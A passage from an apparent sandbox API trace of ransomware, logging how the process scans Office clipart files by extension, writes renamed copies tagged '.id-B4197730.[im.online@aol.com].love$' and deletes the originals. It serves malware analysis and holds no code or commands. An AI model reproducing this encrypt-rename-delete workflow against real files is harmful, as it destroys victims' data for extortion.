4 [0274.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.351] lstrlenW (lpString=".xls") returned 4 [0274.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.351] lstrlenW (lpString=".xlsx") returned 5 [0274.351] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0274.351] lstrlenW (lpString=".ppt") returned 4 [0274.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.351] lstrlenW (lpString=".zip") returned 4 [0274.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.351] lstrlenW (lpString=".rar") returned 4 [0274.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.351] lstrlenW (lpString=".bz2") returned 4 [0274.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.351] lstrlenW (lpString=".7z") returned 3 [0274.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.351] lstrlenW (lpString=".dbf") returned 4 [0274.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.351] lstrlenW (lpString=".1cd") returned 4 [0274.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.352] lstrlenW (lpString=".jpg") returned 4 [0274.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.352] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.352] lstrlenW (lpString="J0105348.WMF") returned 12 [0274.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0274.353] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=17060) returned 1 [0274.353] CloseHandle (hObject=0x47c) returned 1 [0274.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0274.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0275.083] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.084] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0275.085] GetLastError () returned 0x0 [0275.085] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x42a4, lpOverlapped=0x0) returned 1 [0275.089] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x42b0, lpOverlapped=0x0) returned 1 [0275.090] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.090] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.091] SetEndOfFile (hFile=0x560) returned 1 [0275.091] CloseHandle (hObject=0x560) returned 1 [0275.091] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.091] SetEndOfFile (hFile=0x488) returned 1 [0275.094] CloseHandle (hObject=0x488) returned 1 [0275.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0275.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.096] lstrlenW (lpString=".doc") returned 4 [0275.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.096] lstrlenW (lpString=".docx") returned 5 [0275.096] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.096] lstrlenW (lpString=".pdf") returned 4 [0275.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.096] lstrlenW (lpString=".xls") returned 4 [0275.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.096] lstrlenW (lpString=".xlsx") returned 5 [0275.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.096] lstrlenW (lpString=".ppt") returned 4 [0275.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.096] lstrlenW (lpString=".zip") returned 4 [0275.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.097] lstrlenW (lpString=".rar") returned 4 [0275.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString=".bz2") returned 4 [0275.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString=".7z") returned 3 [0275.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.097] lstrlenW (lpString=".dbf") returned 4 [0275.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.097] lstrlenW (lpString=".1cd") returned 4 [0275.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.097] lstrlenW (lpString=".jpg") returned 4 [0275.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.097] lstrlenW (lpString=".doc") returned 4 [0275.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString=".docx") returned 5 [0275.097] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.097] lstrlenW (lpString=".pdf") returned 4 [0275.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString=".xls") returned 4 [0275.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.097] lstrlenW (lpString=".xlsx") returned 5 [0275.097] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.097] lstrlenW (lpString=".ppt") returned 4 [0275.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.098] lstrlenW (lpString=".zip") returned 4 [0275.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.098] lstrlenW (lpString=".rar") returned 4 [0275.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.098] lstrlenW (lpString=".bz2") returned 4 [0275.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.098] lstrlenW (lpString=".7z") returned 3 [0275.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.098] lstrlenW (lpString=".dbf") returned 4 [0275.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.098] lstrlenW (lpString=".1cd") returned 4 [0275.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0275.098] lstrlenW (lpString=".jpg") returned 4 [0275.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.098] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.098] lstrlenW (lpString="J0105376.WMF") returned 12 [0275.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0275.100] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4964) returned 1 [0275.100] CloseHandle (hObject=0x488) returned 1 [0275.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0275.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0275.101] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.101] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0275.104] GetLastError () returned 0x0 [0275.104] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1364, lpOverlapped=0x0) returned 1 [0275.106] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1370, lpOverlapped=0x0) returned 1 [0275.108] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.108] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.108] SetEndOfFile (hFile=0x560) returned 1 [0275.108] CloseHandle (hObject=0x560) returned 1 [0275.108] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.108] SetEndOfFile (hFile=0x488) returned 1 [0275.112] CloseHandle (hObject=0x488) returned 1 [0275.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0275.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.115] lstrlenW (lpString=".doc") returned 4 [0275.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.115] lstrlenW (lpString=".docx") returned 5 [0275.115] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0275.115] lstrlenW (lpString=".pdf") returned 4 [0275.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.115] lstrlenW (lpString=".xls") returned 4 [0275.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.115] lstrlenW (lpString=".xlsx") returned 5 [0275.115] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0275.115] lstrlenW (lpString=".ppt") returned 4 [0275.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.115] lstrlenW (lpString=".zip") returned 4 [0275.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.115] lstrlenW (lpString=".rar") returned 4 [0275.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.115] lstrlenW (lpString=".bz2") returned 4 [0275.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString=".7z") returned 3 [0275.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.116] lstrlenW (lpString=".dbf") returned 4 [0275.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.116] lstrlenW (lpString=".1cd") returned 4 [0275.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.116] lstrlenW (lpString=".jpg") returned 4 [0275.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.116] lstrlenW (lpString=".doc") returned 4 [0275.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString=".docx") returned 5 [0275.116] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0275.116] lstrlenW (lpString=".pdf") returned 4 [0275.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString=".xls") returned 4 [0275.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.116] lstrlenW (lpString=".xlsx") returned 5 [0275.116] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0275.116] lstrlenW (lpString=".ppt") returned 4 [0275.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.116] lstrlenW (lpString=".zip") returned 4 [0275.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.116] lstrlenW (lpString=".rar") returned 4 [0275.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.116] lstrlenW (lpString=".bz2") returned 4 [0275.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.117] lstrlenW (lpString=".7z") returned 3 [0275.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.117] lstrlenW (lpString=".dbf") returned 4 [0275.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.117] lstrlenW (lpString=".1cd") returned 4 [0275.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0275.117] lstrlenW (lpString=".jpg") returned 4 [0275.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.117] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.117] lstrlenW (lpString="J0105378.WMF") returned 12 [0275.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0275.530] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4964) returned 1 [0275.530] CloseHandle (hObject=0x488) returned 1 [0275.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0275.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0275.531] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.531] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0275.533] GetLastError () returned 0x0 [0275.533] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1364, lpOverlapped=0x0) returned 1 [0275.535] WriteFile (in: hFile=0x56c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1370, lpOverlapped=0x0) returned 1 [0275.536] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.536] WriteFile (in: hFile=0x56c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.536] SetEndOfFile (hFile=0x56c) returned 1 [0275.536] CloseHandle (hObject=0x56c) returned 1 [0275.536] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.536] SetEndOfFile (hFile=0x488) returned 1 [0275.539] CloseHandle (hObject=0x488) returned 1 [0275.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0275.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.541] lstrlenW (lpString=".doc") returned 4 [0275.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.541] lstrlenW (lpString=".docx") returned 5 [0275.541] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.541] lstrlenW (lpString=".pdf") returned 4 [0275.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.541] lstrlenW (lpString=".xls") returned 4 [0275.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.541] lstrlenW (lpString=".xlsx") returned 5 [0275.541] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.541] lstrlenW (lpString=".ppt") returned 4 [0275.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.541] lstrlenW (lpString=".zip") returned 4 [0275.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.541] lstrlenW (lpString=".rar") returned 4 [0275.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString=".bz2") returned 4 [0275.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString=".7z") returned 3 [0275.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.542] lstrlenW (lpString=".dbf") returned 4 [0275.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.542] lstrlenW (lpString=".1cd") returned 4 [0275.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.542] lstrlenW (lpString=".jpg") returned 4 [0275.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.542] lstrlenW (lpString=".doc") returned 4 [0275.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString=".docx") returned 5 [0275.542] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.542] lstrlenW (lpString=".pdf") returned 4 [0275.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString=".xls") returned 4 [0275.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.542] lstrlenW (lpString=".xlsx") returned 5 [0275.542] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.542] lstrlenW (lpString=".ppt") returned 4 [0275.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.542] lstrlenW (lpString=".zip") returned 4 [0275.542] 